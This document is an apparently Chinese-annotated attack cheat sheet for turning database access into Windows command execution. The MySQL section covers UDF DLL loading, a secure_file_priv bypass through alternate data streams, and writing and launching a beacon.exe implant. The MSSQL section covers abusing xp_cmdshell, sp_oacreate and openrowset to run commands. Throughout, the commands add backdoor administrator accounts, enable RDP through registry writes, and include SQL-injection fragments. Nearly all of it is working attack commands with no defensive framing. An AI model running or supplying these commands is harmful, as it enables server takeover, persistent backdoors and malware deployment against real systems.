# 创建
create function sys_exec returns int soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_exec';

# 删除
drop function sys_exec;

# 创建
create function sys_eval returns string soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_eval';

# 使用
select sys_eval('dir');

# 删除
drop function sys_eval;

# 创建
create function sys_get returns string soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_get';

# 使用
select sys_get('longonserver');

# 删除
drop function sys_get;

# 创建
create function sys_bineval returns int soname 'udf.dll';

# 验证
select * from mysql.func where name = 'sys_bineval';

# 删除
drop function sys_bineval;

# 使用
select sys_bineval(load_file('C:\\calc.b64'));
select sys_bineval(from_base64(load_file('C:\\calc.b64')));

create function 函数名(区分大小写) returns string soname "dll名" (注意路径);

delete function 函数名;

select 函数名(参数列表);

select 函数名("help");

cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 关于;

select @@version_compile_os, @@version_compile_machine;

show variables like '%compile%';

show variables like '%char%';
select @@datadir;
select version();

select @@plugin_dir;
show variables like '%plugin%';

show global variables like '%secure%';

select '111' into dumpfile 'C:\\1.txt';

select '222' into outfile 'C:\\2.txt';

mysql> select * from news INTO OUTFILE 'D:/news.log';

1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

show global variables like '%secure%';

mysql> show global variables like '%secure%';
+--------------------------+-----------+
| Variable_name 			| Value 	|
+--------------------------+-----------+
| require_secure_transport  | OFF 		|
| secure_auth 				| ON 		|
| secure_file_priv 			| NULL 		|
+--------------------------+-----------+

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name 			| Value|
+--------------------------+-------+
| require_secure_transport  | OFF  |
| secure_auth				| ON   |
| secure_file_priv 			|      |
+--------------------------+-------+

select 'xxx' into dumpfile 'C:\\PhpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';

<filename>:<stream name>:<stream type>

<文件名>:<流名>:<流种类>

echo "this is a test file" > test.txt

echo "this is a ads file" > test.txt:aaa:$data

type test.txt
"this is a test file"

dir /r

2021/03/05 10:26 24 test.txt
 23 test.txt:aaa:$DATA

notepad test.txt:aaa

del /f test.txt

type pass.txt > song.mp3:password:$DATA

echo 123 > hello::$INDEX_ALLOCATION

create table udftemp(data BLOB);

create table udftemp(data longblob);

select hex(load_file('C:\\udf.dll')) into dumpfile 'C:\\udf.txt';

insert into udftemp(data) values (0x+udf.txt中的值);

select data from udftemp into dumpfile "C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll";

create function sys_eval returns string soname 'udf.dll';

select sys_eval('whoami');

select sys_eval('net user udftest 123456 /add & net localgroup administrators udftest /add');

select sys_eval('net localgroup administrators')

# 创建临时表
create table beacon(data longblob);

# 转换beacon.exe二进制内容为十六进制
select hex(load_file('C:\\beacon.exe')) into dumpfile 'C:\\beacon.txt';

# 将16进制beacon文件写入beacon表
insert into beacon(data) values (0x+beacon.txt中的值);

# 写入beacon.exe
select data from beacon into dumpfile "C:\\beacon.exe";

# 利用创建的命令执行函数执行beacon.exe
select sys_eval('start c:\\beacon.exe')

exploit/multi/mysql/mysql_udf_payload

# 查看数据库版本
select @@version

# 查看数据库系统参数
exec master..xp_msver;

# 查看用户所属角色信息
sp_helpsrvrolemember

# 查看当前数据库
select db_name();

# 查看当前账户权限
select IS_SRVROLEMEMBER('sysadmin') #判断是否为sa权限
select IS_MEMBER('db_owner') #判断是否为dba权限

# 禁用advanced options
exec sp_configure 'show advanced options',0;GO RECONFIGURE;

exec master..xp_cmdshell "dos命令";

exec master..xp_cmdshell "ver"

select IS_SRVROLEMEMBER ('sysadmin')

and (select IS_SRVROLEMEMBER ('sysadmin'))=1--

select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell' 

and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')

exec master..xp_cmdshell "ver";

消息 15281，级别 16，状态 1，过程 xp_cmdshell，第 1 行
SQL Server 阻止了对组件 'xp_cmdshell' 的 过程 'sys.xp_cmdshell' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用'xp_cmdshell' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

exec master..xp_cmdshell "ver";
exec master..xp_cmdshell "net user";

exec master..xp_cmdshell "net user name password /add"

exec master..xp_cmdshell "net localgroup administrators name /add"

select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'sp_oacreate';

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user';

消息 15281，级别 16，状态 1，过程 sp_OAMethod，第 1 行
SQL Server 阻止了对组件 'Ole Automation Procedures' 的 过程 'sys.sp_OAMethod' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'Ole Automation Procedures'。有关启用 'Ole Automation Procedures' 的详细信息，请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ole Automation Procedures',1;reconfigure;

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user zhangsan 123456 /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators zhangsan /add'

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\1.txt' --

# 声明一个变量
declare @shell int;

# 使用sp_oacreate调用wscript对象
exec sp_oacreate 'wscript.shell',@shell output;

# 使用sp_oamethod调用变量的属性run执行系统命令
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';

# 添加用户 test/test

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';

# 添加用户到管理员组

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add';

# 添加用户 test/test

declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test test /add','c:\windows\system32','','1';

exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections'

EXEC master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'

EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;

EXEC master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

exec sp_configure 'show advanced options',1;reconfigure;

exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode';

SandBoxMode参数含义（默认是2）
0：在任何使用者中禁止启用安全模式
1：仅在允许范围内
2：必须在access模式下
3：完全开启

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;

# 添加用户 test/test
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")');

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")');

# 执行whoami命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c whoami")');